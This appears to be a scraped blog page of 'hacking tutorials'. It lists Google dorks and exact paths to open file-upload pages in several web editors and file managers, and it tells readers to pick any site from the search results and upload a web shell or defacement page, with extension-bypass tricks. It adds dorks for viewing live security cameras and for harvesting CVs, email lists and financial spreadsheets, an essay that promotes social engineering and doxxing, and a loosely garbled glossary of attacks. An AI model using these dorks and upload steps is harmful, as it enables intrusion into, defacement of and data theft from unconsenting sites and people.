Showing posts with label Hacking Tutorial. Show all posts
Showing posts with label Hacking Tutorial. Show all posts


Dork: inurl:/editor/tmedit/popups
Exploit Path : /editor/tmedit/popups/InsertFile/insert_file.php
#start :)
open Google.com or Bing.com and type this dork inurl:/editor/tmedit/popups
i got 9740 vulnrable results, now select any site from seacrh result and look for upload option on that Page now upload you shell, deface page, or anyfile there,
After uploading your file you'll see your uploaded file's url there, if you are not getting any perview url then goto /images directory to view your uploaded file
for example : http://vulnrablesite.com/images/yourfilehere

Dork www.topronet.com ,All Rights Reserved.Any question, please email me cqq1978@Gmail.com
and 
JFoler 1.0 A jsp based web folder management tool by Steven Cee
(its not a Particular dork, please try to modify it and if you sucessfull modified then leave new dork in comment)
Just select any site from search results and now upload your deface page or shell
shell upload : for shell uploading rename your asp shell (shell.asp) to shell.jsp then upload it, you can try .php too, every Extension is allowed but in some sites you can't excute php and asp shell
Path : depends on website




Google serves almost 80 percent of all search queries on the Internet, proving itself as the most popular search engine. However Google makes it possible to reach not only the publicly available information resources, but also gives access to some of the most confidential information that should never have been revealed. In this post I will show how to use Google for exploiting security vulnerabilities within websites. The following are some of the hacks that can be accomplished using Google.



1. Hacking Security Cameras :

There exists many security cameras used for monitoring places like parking lots, college campus, road traffic etc. which can be hacked using Google so that you can view the images captured by those cameras in real time. All you have to do is use the following search query in Google. Type in Google search box exactly as follows and hit enter

inurl:”viewerframe?mode=motion”

Click on any of the search results (Top 5 recommended) and you will gain access to the live camera which has full controls.

Its as if your computer is a remote control and no one can track you down!! Well for me i got into a zoo’s webcam and i could see a lady feeding the Giraffe

Using this trick you can see live stuff with a fast internet connection including Baseball matches and soccer matches by adding a few more keywords in the line

You can also move the cameras in all the four directions, perform actions such as zoom in and zoom out. This camera has really a less refresh rate. But there are other search queries through which you can gain access to other cameras which have faster refresh rates. So to access them just use the following search query.

intitle:”Live View / – AXIS”

Click on any of the search results to access a different set of live cameras. Thus you have hacked Security Cameras using Google.

2. Hacking Personal and Confidential Documents

Using Google it is possible to gain access to an email repository containing CV of hundreds of people which were created when applying for their jobs. The documents containing their Address, Phone, DOB, Education, Work experience etc. can be found just in seconds.

intitle:”curriculum vitae” “phone * * *” “address *” “e-mail”

You can gain access to a list of .xls (excel documents) which contain contact details including email addresses of large group of people. To do so type the following search query and hit enter.

filetype:xls inurl:”email.xls”

Also it’s possible to gain access to documents potentially containing information on bank accounts, financial summaries and credit card numbers using the following search query

intitle:index.of finances.xls

3. Hacking Google to gain access to Free Stuffs

Ever wondered how to hack Google for free music or ebooks. Well here is a way to do that. To download free music just enter the following query on google search box and hit enter.

“?intitle:index.of?mp3 eminem“

Now you’ll gain access to the whole index of eminem album where in you can download the songs of your choice. Instead of eminem you can subtitute the name of your favorite album. To search for the ebooks all you have to do is replace “eminem” with your favorite book name. Also replace “mp3? with “pdf” or “zip” or “rar”.

Note: This Information is for educational purposes only Ashtricks and its owner is not responsible for anything done by you

Google Dork inurl:ezfilemanager/ezfilemanager.php
(Modify this dork for getting mor results from Google =)


Exploit : http://[xxx]/xxx/tiny_mce/plugins/ezfilemanager/ezfilemanager.php?sa=1&type=file

Go to this url : website.com/lap/includes/tiny_mce/plugins/ezfilemanager/ezfilemanager.php and 
put ?sa=1&type=file after URL
now url will be :  http://website/PATCH/tiny_mce/plugins/ezfilemanager/ezfilemanager.php?sa=1&type=file

Now see upload option and upload you file, you can upload ,html ,pdf ,ppt ,txt ,doc ,rtf ,xml ,xsl ,dtd ,zip ,rar ,jpg ,png files

Go to Google.com and enter dork ~ 
"inurl:simple-upload-53.php" 


see search results and select any website 


the exploit url will be link this 


http://www.site.com/simple-upload-53.php


Now Upolad Your shell here as .php.jpg .php.girf etc 
and you can upload your deface in image Type


to view you uploaded file just goto http://www.site.com/files/yourfilehere


Google Dork : inurl:/HTMLEditor/editor/ 
or "inurl:/HTMLEditor/editor//filemanager/"
or "inurl:/HTMLEditor/editor//filemanager//connectors/"


Exploit : http://website/HTMLEditor/editor/filemanager/connectors/uploadtest.html
or http://website/path/HTMLEditor/editor/filemanager/connectors/uploadtest.html


Go here :

http://website/HTMLEditor/editor/filemanager/connectors/uploadtest.html

or http://website/path/HTMLEditor/editor/filemanager/connectors/uploadtest.html
 chnage connectors into PhP (Like FCKeditor) and upload Your file


suppoted files : .TXT and .JPG in some site you can upload .html and .php too


to view you file goto : http://website/PowerCMS%20folder/files/your file here
or http://website/patch//PowerCMS%20folder/files/your file here 

Examples :

Basics of Hacking

Posted by Unknown 1 comments


It's quite a long TEXT tutorial, because I've got that discipline to make everything as simple as possible. If you don't mind reading, which is one of the attitude a hacker should have, let's start.



Are you sure you want to hack?
First things first.
Do a background check of yourself, to tell whether really wanted to hack, or you just want to go to jail for some reasons.

First of all, you must have some basic knowledge about a computer. Upon reading this, you just passed the first test. Next, you should also be patient, for if not, you won't get anywhere. Next, you should have the "heart" or passion to hack, because as stupid as it sounds, if you don't have it, you won't make it to the finish line.

Now, if you passed the first test, you're 1% closer to your goal to be a hacker. 



What is Hacking?
Let's make it simple as it can be. You watch movies and you hear news about hacking as a criminal thing to do, right? Well, the world idea about hacking nowadays is not really true, so let's redefine it again. Hacking, according to it's earliest definitions, is the Art of Exploitation. In more simple terms, when you hack, you take advantage of vulnerabilities/weaknesses of a software/hardware/peopleware. Hacking is NOT JUST about breaking into a server, stealing information, controlling things like traffic systems, tracking people via GPS, etc.; but it's more like a discipline. True hackers, whatever their specialization is, have different principles in life that is connected on their chosen profession. They DO break the laws most of the times, but that's because they are curious on how far they can go, or what kind of things they can do with their skills, and usually, the "money-making" is just a side dish of it, because HACKING IS A LEGAL PROFESSION, and they're still humans which needs food to survive.



How to Become a Hacker?
This is what new members always ask. "How do I become a good hacker?", "How do I hack these...", "What do I need to become a hacker?". These are just few of the thousand questions a newbie would ask.

If you're a newbie, and you're reading this, I got a starting tip for you.
Spoiler  
Don't act like you don't even know how to type a word.

One of the first starting tips to be a "good" hacker, because you can't be a GREAT hacker when you didn't passed the GOOD status, is to have the ATTITUDE. If you're new, don't act STUPID, yet don't act like you know everything even if you don't.
  • Setting Goals
Now, to be a hacker, the first thing you need to do is set some GOALS. Goals will guide you through your journey here in the cyberworld. I also have a tip in making goals: DO NOT RUSH. You won't get any progress if you think that you can be the world's best hacker overnight. You also might want to think of what do you really want to learn first, or what do you want to be as a hacker.
  • Types of Hackers
Speaking of that, I'm gonna discuss a little bit of what type of hackers exists, so that you can decide what you want to be, although you can really switch anytime you like.

The first is the Black Hats.
Black Hats are hackers who do "illegal" stuffs with their skills. They are usually the one's who steal information for certain purposes. Nowadays, being a black hat is not that EASY anymore, unless you have the guts to do it. Back in the days, the black hats we're able to do MORE because the police still doesn't have the right equipment to match the skills of our black hat fellows. Many black hats usually hack for money to sustain themselves and their activities, but today, you'll need to take extra precautions so as not to be caught. That's why black hats are now turning into our next type of hacker.

So, to balance the cyberworld after the black hats was publicly known, the White Hats emerged.
White Hats, of course, are the total opposite of Black Hats. Although they do similar things like breaking in other's computers, their purpose on doing it are different. White hat do it so as to find vulnerabilities/weaknesses on mostly on software/hardware, then do a report on it, so it can be fixed and it can't be "exploited" anymore. Although this is a bit disappointing, because they sort of "deprive" other hackers on the experience, the good news is that with our modern world where software/hardware keeps being innovated, infinite number of vulnerabilities/weaknesses still exists to be exploited. Regarding with the money, white hats are professionals, so they are LEGALLY paid by companies or individuals who hire them for their services.

Lastly, there is a third category, which is most probably one with the highest population nowadays, the Gray Hats.
A combination of the two categories above, these type of hackers might be the trending type nowadays, because the hacker culture have grown so much complicated, that being a black hat or a white is not enough anymore. They do steal information for some reasons, but usually for money. But they also help those who are victims of their fellow hackers, which places them on the side of white hats.

After setting your goals, and you have determined what you want to be, or what you really want to do, and you're really sure you want to learn the Art, let's have a start on your journey.



  • Resources

So, let's start with this one. Firstly, you should be able to identify your resources first. Hacker's common mistakes is that they want to do a "hack", but now knowingly, they don't have the resources for it.

As a hacker, you should know your computer well, because it is the most important resource for all hackers. You should be able to know it's limitations, so as not to totally mess it up. Also, you should have a basic concept on how a computer works, even if it's just very basic like "Input -> Process -> Output -> Storage" type of concepts, because it's good to have background first on the general, before diving to deeper parts of hacking.

Also, as a hacker, you must learn to SEARCH for your resources.
 Search first, then ask.

Many new members always ASK first without even searching, because I myself did it when I was a new member. You must learn to search because it's in searching that you develop one of your skill, to sort out bad info from good ones, which you will need if your need to Dox someone. (Dox is like "profiling" someone, say for example, a target of yours. It will be discussed on another tutorial I will make, or you can take a look around HF by using Search)

Lastly, resources can also be bought here on HF. Under certain circumstances, you will need, say for example, tools which are high-quality, you will have to pay for it. Just a word of advice, as a new member, even if you have money, don't buy things yet here, except the VIP Upgrade to be L33t or Ub3r, because you'll learn that everything you need CAN STILL BE FREE, but just not as good as paid ones.
  • Skills
A hacker won't survive in the cyberworld if he doesn't have the sufficient skills to do it. It's not included in the earlier test, because even a noob can be a great hacker if he has the passion and determination to learn.

There are many skills a hacker should have, but I will discuss two of the important skills you must have as a new hacker.

One is you have to train your Social Engineering skills. Social engineering, or SE for short, is simply defined as the Art of Human Manipulation, or human hacking in more simple terms. In hacking, lying/faking/spoofing is ALLOWED. It is one of the basic skills you will need, especially when you are targeting accounts for their information. Furthermore, as a side dish of this topic, you'll learn that MANY, if not everything, in the Internet is fake, or just a part of social engineering for a hack or exploit.

Another skill you must have is coding. This is one of the hardest skill that you MUST acquire as a hacker, because it requires time, effort, patience, and perseverance. But, once you get good in coding, you're as much as close to be a great hacker before you know it. Coding is the skill in which you learn to "code" or create your own program using various languages like the C Family (C, C++, C#), Java, Phyton, and many more. Upon learning this skill, you don't just learn coding, you improve even yourself, because it improves logical thinking, patience, and not to mention your creativity when designing your programs. Also, if you're a coder, you would be know for your programs, especially if they are high-quality. Many coders nowadays prefer not to hack, but just to code the tools used for hacking because they still earn for their programs, PLUS it's legal.



As of now, this is all you need to start in hacking. If you passed through this tutorial, you're one step closer to be a good hacker, because you got patience to read it.

The next thing I would advise for you is to read some interesting tutorials on whatever topic you like in Hacking. Use the Search Button, as I said a while ago. But, if you still have some time, I urge you to read this article, because it's one of the first notes I read that inspired me to start my own journey.

Thanks To HF  

What are exploits?

An exploit is a piece of software of chunk of data that takes advantage of velnurability or bug in order to cause unintended or unanticipated behavior to occur on computer

Types of exploits:

Exploits are of many types but the most popular ones that are commonly used are as follows:

1.Xss(Cross site scripting)

2.Sql injection

3.Clickjacking

4.DDos attack

5.POC attack (Proof of conect)

6.Spoofing

I will explaing few of them

XSS(Cross site scripting):

Cross-site scripting or XSS is a threat to a website's security. It is the most common and popular hacking a website to gain access information from a user on a website. There are hackers with malicious objectives that utilize this to attack certain websites on the Internet. But mostly good hackers do this to find security holes for websites and help them find solutions. Cross-site scripting is a security loophole on a website that is hard to detect and stop, making the site vulnerable to attacks from malicious hackers. This security threat leaves the site and its users open to identity theft, financial theft and data theft. It would be advantageous for website owners to understand how cross-site scripting works and how it can affect them and their users so they could place the necessary security systems to block cross-site scripting on their website.

Sql injection:

SQL Injection involves entering SQL code into web forms, eg. login fields, or into the browser address field, to access and manipulate the database behind the site, system or application.

When you enter text in the Username and Password fields of a login screen, the data you input is typically inserted into an SQL command. This command checks the data you've entered against the relevant table in the database. If your input matches table/row data, you're granted access (in the case of a login screen). If not, you're knocked back out.

DDos attack:

A denial of service attack (DOS) is an attack through which a person can render a system unusable or significantly slow down the system for legitimate users by overloading the resources, so that no one can access it.this is not actually hacking a webite but it is used to take down a website.

If an attacker is unable to gain access to a machine, the attacker most probably will just crash the machine to accomplish a denial of service attack,this one of the most used method for website hacking

I have wrote a post on How to hack a website with Denial of service attack

POC(Proof of concept)

In computer security the term proof of concept (proof of concept code or PoC) is often used as a synonym for a zero-day exploit which, mainly for its early creation, does not take full advantage over some vulnerability.This was the same attack which

Clickjacking:

This attack was made on twitter,After the micro-blogging site immunized its users against a fast-moving worm that caused them to unintentionally broadcast messages when they clicked on an innocuous-looking button, hackers have found a new way to exploit the clickjacking vulnerability.

The latest attack comes from UK-based web developer Tom Graham, who discovered that the fix Twitter rolled out wasn't applied to the mobile phone section of the site. By the time we stumbled on his findings, the exploit no longer worked. But security consultant Rafal Los sent us a minor modification that sufficiently pwned a dummy account we set up for testing purposes.

The exploit is the latest reason to believe that clickjacking, on Twitter and elsewhere, is here to stay, at least until HTML specifications are rewritten. No doubt web developers will continue to come up with work-arounds, but hackers can just as quickly find new ways to exploit the vulnerability, it seems.

That's because clickjacking attacks a fundamental design of HTML itself. It's pulled off by hiding the target URL within a specially designed iframe that's concealed by a decoy page that contains submission buttons. Virtually every website and browser is susceptible to the technique.

Spoofing:

According to wikipedia spoofing  In the context of network security, a spoofing attack is a situation in which one person or program successfully masquerades as another by falsifying data and thereby gaining an illegitimate advantage.

How to find exploits:

There are couple of methods and tools to discover exploits.

The above figure is of a software called as exploit scanner,Exploit scanner is a tool to check if the website is velnurable to the attack or not.you  just need to enter the url and it will tell you whether the site is velnurable or not